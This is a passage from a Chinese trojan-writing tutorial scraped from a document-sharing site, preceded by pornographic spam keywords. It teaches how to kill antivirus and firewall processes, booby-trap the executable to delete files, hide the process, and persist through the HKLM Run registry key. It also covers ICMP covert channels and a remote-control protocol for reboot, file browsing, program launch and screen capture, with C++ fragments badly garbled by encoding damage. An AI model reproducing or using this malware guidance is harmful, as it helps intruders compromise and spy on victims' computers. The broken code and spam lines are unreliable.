freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

木馬編寫培訓(xùn)教程-閱讀頁

2025-07-09 03:44本頁面
  

【正文】 進(jìn)程。因此最好的辦法是啟動后立即分析當(dāng)前進(jìn)程,查找有沒有常見防火墻和殺毒軟件的進(jìn)程,如果有就殺無赦。殺掉后,再在特定的內(nèi)存地址中作一個標(biāo)記,使它們誤以為自己已啟動,因此不會再次啟動自己了。如果有人試圖將你的木馬程序反匯編,他成功后,你的一切秘密就暴露在他的面前了,因此,我們要想辦法保護(hù)自己的作品。沒有循環(huán),只是跳轉(zhuǎn),作為使偷竊者令人頭痛的路障。陷阱,另一個我不太肯定,但聽說有程序使用的方法:用CRC校驗(yàn)?zāi)愕腅XE文件,如果它被改變了,不要顯示典型錯誤信息,而給予偷竊者致命的一擊。你可以試一下,所有文件都消失了吧?!這叫“踏雪無痕”。因?yàn)樵S多木馬打開的就是高端端口(如本例中的4444)。因此,請列位看官好自為之,不要亂下殺手啊!當(dāng)進(jìn)程為真隱藏的時(shí)候,那么這個木馬的服務(wù)器部分程序運(yùn)行之后,就不應(yīng)該具備一般進(jìn)程,也不應(yīng)該具備服務(wù)的,也就是說,完全的溶進(jìn)了系統(tǒng)的內(nèi)核。而這個應(yīng)用程序?qū)τ谙到y(tǒng)來說,是一個絕對安全的程序,這樣,就達(dá)到了徹底隱藏的效果,這樣的結(jié)果,導(dǎo)致了查殺黑客程序難度的增加。WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int){    try    {    DWORD dwVersion = GetVersion()?!       INSTANCE dll=LoadLibrary()?! ?/找到RegisterServiceProcess的入口          rsp(NULL,1)?! ?/釋放DLL模塊        }    }    catch (Exception amp。}程序的自加載運(yùn)行技術(shù)  讓程序自運(yùn)行的方法比較多,除了最常見的方法:加載程序到啟動組,寫程序啟動路徑到注冊表的HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersions\\Run的方法外,還有很多其他的辦法,據(jù)yagami講,還有幾十種方法之多,或者通過注冊表里的輸入法鍵值直接掛接啟動,真的可以說是防不勝防,下面展示一段通過修改HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersions\\Run鍵值來實(shí)現(xiàn)自啟動的程序:  自裝載部分:HKEY hkey。k=REG_OPENED_EXISTING_KEY。hkey,amp。RegSetValueEx(hkey,BackGroup,0,REG_SZ,(),())。if (int(ShellExecute(Handle,open,(),NULL,NULL,SW_HIDE))32){WantClose=true。}else{    HKEY hkey?!   =REG_OPENED_EXISTING_KEY。hkey,amp。RegSetValueEx(hkey,BackGroup,0,REG_SZ,(),())。char str[20]。DWORD type。DWORDvl=254。do{Suc=RegEnumValue(HKEY_LOCAL_MACHINE,(DWORD)num,str,NULL,amp。vl)。      RegDeleteValue(HKEY_LOCAL_MACHINE,BGroup)?! }while(Suc== ERROR_SUCCESS)。}自裝載程序的卸載代碼:int num。DWORD lth=20。char strv[255]。DWORD Suc。type,strv,amp?!     f (strcmp(str,BGroup)==0){            DeleteFile(AnsiString(strv))?!           reak。unsigned long k。RegCreateKeyEx(HKEY_LOCAL_MACHINE,SOFTWARE\\\\MICROSOFT\\\\WINDOWS\\\\CURRENTVERSION\\\\RUN,0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,amp。k)?!       egDeleteValue(HKEY_LOCAL_MACHINE,BackGroup)。}}while(Suc== ERROR_SUCCESS)RegCloseKey(hkey)。 regKey = *new TRegistry()。(Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run,true)。}()。reg。木馬程序的建立連接的隱藏   木馬程序的數(shù)據(jù)傳遞方法有很多種,其中最常見的要屬TCP,UDP傳輸數(shù)據(jù)的方法了,通常是利用Winsock與目標(biāo)機(jī)的指定端口建立起連接,使用send和recv等API進(jìn)行數(shù)據(jù)的傳遞,但是由于這種方法的隱蔽性比較差,往往容易被一些工具軟件查看到,最簡單的,比如在命令行狀態(tài)下使用netstat命令,就可以查看到當(dāng)前的活動TCP,UDP連接。另外一種辦法,是使用ICMP(Internet Control Message Protocol)協(xié)議進(jìn)行數(shù)據(jù)的發(fā)送,原理是修改ICMP頭的構(gòu)造,加入木馬的控制字段,這樣的木馬,具備很多新的特點(diǎn),不占用端口的特點(diǎn),使用戶難以發(fā)覺,同時(shí),使用ICMP可以穿透一些防火墻,從而增加了防范的難度。關(guān)于網(wǎng)絡(luò)層次的結(jié)構(gòu),下面給出圖示: 網(wǎng)絡(luò)層次結(jié)構(gòu)圖  發(fā)送數(shù)據(jù)的組織方法  關(guān)于數(shù)據(jù)的組織方法,可以說是數(shù)學(xué)上的問題。木馬程序,為了避免被發(fā)現(xiàn),必須很好的控制數(shù)據(jù)傳輸量,一個編制較好的木馬,往往有自己的一套傳輸協(xié)議,那么程序上,到底是如何組織實(shí)現(xiàn)的呢?下面,我舉例包裝一些協(xié)議:typedef struct{ //定義消息結(jié)構(gòu)//char ip[20]。//消息種類char Password[20]。//消息操作號//int Length。define MsgLen sizeof(Msg)////對話框數(shù)據(jù)包定義:////定義如下消息類型:define MsgDlgCommon 4//連接事件define MsgDlgSend 5//發(fā)送完成事件//消息結(jié)構(gòu)typedef struct{char Name[20]。//對話框消息內(nèi)容}MsgDlgUint。//Client自定義的名稱char Msg[256]。define MsgChatLen sizeof(MsgChatUint)//消息單元長度////重啟數(shù)據(jù)包定義:////定義如下消息類型:define MsgReBoot 15//重啟事件////目錄結(jié)構(gòu)請求數(shù)據(jù)包定義:////定義如下消息類型:define MsgGetDirInfo 17define MsgReceiveGetDirInfo 18typedef struct{char Dir[4096]。define MsgDirUintLen sizeof(MsgDirUint)// TCP的Msgtypedef struct{ //定義消息結(jié)構(gòu)char SType。//密碼//int SNum。}SMsg。}MsgSetMouseStatUint。}MsgSetTaskBarStatUint。}MsgNetBiosNameUint。//old struct : char ProgramName[128]。define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)////打開進(jìn)程變更!//define MsgSetProgramOpen 20//打開請求define MsgProgramOpened 36//成功消息typedef struct{char ProgramName[4096]。//要打開的程序的名字bool ProgramShow。define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)define MsgGetHardWare 35//請求硬件信息(UDP消息)和回傳硬件信息(TCP消息)  上面一段定義,使用了TCP和UDP兩種協(xié)議目的就是為了減少TCP連接的幾率,這樣所消耗的系統(tǒng)資源就會比較少,不容易讓目標(biāo)機(jī)察覺。SNum為消息操作號,它的作用是為了效驗(yàn)數(shù)據(jù)是否是發(fā)送過的,經(jīng)過分析而知,我們熟悉的OICQ也正是使用了這一辦法來校驗(yàn)消息的。TMemoryStream *RData=new TMemoryStream。RDataRead(msg,sizeof(Msg))。NetBiosName *netbiosname=new NetBiosName。else{CNumBak=msgCNum。checkuser(udpconnectIsRight)。case 1:RDataRead(netbiosname,sizeof(NetBiosName))。jqm+=(AnsiString)netbiosnameNetBiosName。break。NMUDP1RemotePort=Port。NMUDP1ReadStream(RData)。RDataRead(msg,sizeof(Msg))。else{CNumBak=msgCNum。break。break。break。COLORREF BakColors[MAXXCount]{MAXYCount][DestNum]。int Sw。int xCount。int ItemWidth。int Dnum。//得到消息后執(zhí)行://另外:接收到的數(shù)據(jù)包中分析出 Dnum ,Qlity//Dnum:偏移觀測點(diǎn)數(shù)量//Qlity:圖象要求質(zhì)量__fastcall TForm1::CopyScreen(int DNum,int Qlity){ItemWidth=Sw/xCount。Sw=ScreenWidth。xCount=(Sw1000)?8:6。for (int num1=0。Dests[num1].y=random(ItemHeight)。}//收到刷屏消息后只執(zhí)行:CatchScreen(DNum,Qlity)。Graphics::TBitmap *bm=new Graphics::TBitmap。bmHeight=Sh。int num1,num2,num3。bool Change。for (num1=0。for (num2=0。Change=false。num3 Colors[num1][num2][num3]=bmCanvasPixels[nowx+Dests[num3].x][nowy+Dests[num3].y]。ItemChange[num1][num2]=true。int ChangedNum=0。int num4。int m。Graphics::TBitmap *bt2=new Graphics::TBitmap。//************************jQuality=Qlity。CopyScreenItemUint CopyScreenItem。msWrite(amp。msWrite(amp。do{for (num1=0。num2 for (num3=num1+1。num3++){MaxCNum=0。num4=yCount。if (CNumMaxCNum) MaxCNum=CNum。if (2*mCNum MinSize=2*mCNum。}}}TMemoryStream *ms。jAssign(bt2)。=TRect(num1,num2,num3,num4)。 //JPEGFILE 定義為:define JPEGFILE 1ms2Position=0。msWrite(amp。msCopyFrom(ms2,ms2Size)。}while(MaxCNum0)。msPosition=0。=ChangedNum。TcpMsg,sizeof(TcpMsgUint))。CopyScreen,sizeof(CopyScreenUInt))。sockSendStream(ms)。通過這種方法壓縮處理過的數(shù)據(jù),變得十分小,甚至在屏幕沒有改變的情況下,傳送的數(shù)據(jù)量為0,在這里不做過多分析了,有興趣的朋友,可以多看
點(diǎn)擊復(fù)制文檔內(nèi)容
環(huán)評公示相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號-1